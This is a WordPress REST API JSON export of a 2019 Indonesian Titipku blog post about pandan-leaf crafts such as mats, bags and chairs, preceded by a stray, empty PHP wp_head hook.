add_action('wp_head', function(){echo '';}, 1);{"id":6334,"date":"2019-10-16T14:48:02","date_gmt":"2019-10-16T07:48:02","guid":{"rendered":"https:\/\/blog.titipku.com\/?p=6334"},"modified":"2019-10-16T14:48:02","modified_gmt":"2019-10-16T07:48:02","slug":"cantiknya-deretan-produk-kerajinan-pandan-mulai-dari-fashion-sampai-interior-rumah","status":"publish","type":"post","link":"https:\/\/titipku.com\/blog\/cantiknya-deretan-produk-kerajinan-pandan-mulai-dari-fashion-sampai-interior-rumah\/","title":{"rendered":"Cantiknya Deretan Produk Kerajinan Pandan, Mulai dari Fashion Sampai Interior Rumah"},"content":{"rendered":"
Titipku-<\/a> Kerajinan pandan mungkin sudah bukan hal yang asing lagi di Indonesia.\u00a0<\/span><\/p>\n Kerajinan<\/a> pandan termasuk dalam hasil hutan bukan kayu (HHBK) yang merupakan sebuah bentuk dari keterampilan masyarakat dengan memanfaatkan hasil hutan dan mengolahnya tanpa merusak hutan.<\/span><\/p>\n Dulu tanaman yang sering tumbuh di pantai ini jarang dimanfaatkan loh. Bisa dibilang pandan menjadi berlian yang belum terasah.\u00a0<\/span><\/p>\n Namun seiring perkembangan zaman, ternyata tanaman pandan bisa di sulap menjadi berbagai produk yang cantik, mulai dari fashion, aksesoris<\/a>, dan interior rumah.<\/span><\/p>\n Tanaman pandan biasa diolah menjadi berbagai produk dengan perpaduan tanaman hutan lainnya seperti nipah, keladi air dan bambu<\/a>\u00a0<\/span><\/p>\n Nah selanjutnya bahan dasar di atas akan diolah menjadi beraneka macam anyaman tikar, lekar, topi, kursi dan meja.<\/span><\/p>\n Berikut deretan produk kerajinan<\/a> pandan yang biasa digarap oleh para pelaku UMKM Indonesia:<\/span><\/p>\n Tikar adalah hasil anyaman yang biasanya dipakai sebagai alas duduk atau tidur. Tikar pandan dinilai sebagai produk tikar paling ramah lingkungan.<\/span><\/p>\n Tikar Pandan, Via Instagram tikar_pandan<\/p><\/div>\n Bahan dasarnya yang terbuat dari tanaman dan dapat di daur ulang sangat diminati oleh pembeli.<\/span><\/p>\n Dalam masyarakat tradisional Madura, tikar daun pandan dipakai sebagai pembungkus kasur yang dibawa oleh pengantin laki-laki pada saat pernikahan.<\/span><\/p>\n Tas pandan adalah tas anyaman yang terbuat dari bahan daun pandan. Tas kerajinan anyaman ini banyak ditemukan di seluruh pelosok Indonesia.<\/span><\/p>\n Tas berbahan pandan ini sempat sangat booming ketika seorang turis mancanegara mengenakan tas ini untuk berjalan-jalan di mall.<\/span><\/p>\n www.malangtimes.com<\/p><\/div>\n Berita tersebut sempat heboh di media sosial.\u00a0\u00a0Pasalnya, tas yang dipakai wanita itu biasa digunakan ibu-ibu untuk belanja ke pasar. Tas ini juga biasanya digunakan untuk mengangkut ayam.<\/span><\/p>\n Nah pandan ternyata juga bisa dimanfaatkan sebagai pelengkap furniture atau interior rumah. Salah satunya yaitu disulap menjadi kursi.<\/span><\/p>\n Kursi Anyaman, Via Instagram jogjaetnikcraft<\/p><\/div>\n Kursi yang terbuat dari anyaman pandan ini memang sudah sangat lama digunakan oleh masyarakat Indonesia untuk mempercantik rumah.<\/span><\/p>\n Seiring perkembangan zaman saat ini terdapat berbagai jenis kursi anyaman pandan. Yang paling ngetrend\u00a0 yaitu\u00a0 kursi stol dari anyaman pandan,\u00a0<\/span>Dijamin terlihat modern dan etnik!<\/span><\/p>\n Itu dia gengs berbagai produk yang terbuat dari bahan pandan. Cantik-cantik kan! Produk tersebut juga bisa kalian temukan dan beli melalui Aplikasi\u00a0<\/span>Titipku\u00a0<\/span><\/a>loh,<\/span><\/p>\n Aplikasi\u00a0<\/span><\/a>yang memajang berbagai produk\u00a0<\/span>UMKM\u00a0<\/span><\/a>Indonesia ini super banget deh. Kalian bisa menjelajah berbagai produk asli buatan anak bangsa di seluruh Indonesia.<\/span><\/p>\n Selamat belanja produk bangsa ya!<\/span><\/p>\n <\/p>\n","protected":false},"excerpt":{"rendered":" Titipku- Kerajinan pandan mungkin sudah bukan hal yang asing lagi di Indonesia.\u00a0 Kerajinan pandan termasuk dalam hasil hutan bukan kayu (HHBK) yang merupakan sebuah bentuk dari keterampilan masyarakat","protected":false},"author":7,"featured_media":6345,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[47,3144,395],"tags":[9929,9949,9955,9948,9951,9950,9954,9953,9946,9952,9945,9947,9944,9943,9926,9942,9956,9928,9851,8961,9930,9931,9939,9932,9937,9912,9914,9913,9875,9925,9830,3760,9915,9916,9938,9919,9607,9941,9922,9927,9933,9189,9923,9924,9936,9935,9920,9921,9934,9917,9918,9940,9281],"_links":{"self":[{"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/posts\/6334"}],"collection":[{"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/comments?post=6334"}],"version-history":[{"count":1,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/posts\/6334\/revisions"}],"predecessor-version":[{"id":6347,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/posts\/6334\/revisions\/6347"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/media\/6345"}],"wp:attachment":[{"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/media?parent=6334"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/categories?post=6334"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/tags?post=6334"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}1.Tikar Pandan<\/h6>\n
2.Tas Pandan<\/h6>\n
3.Kursi<\/h6>\n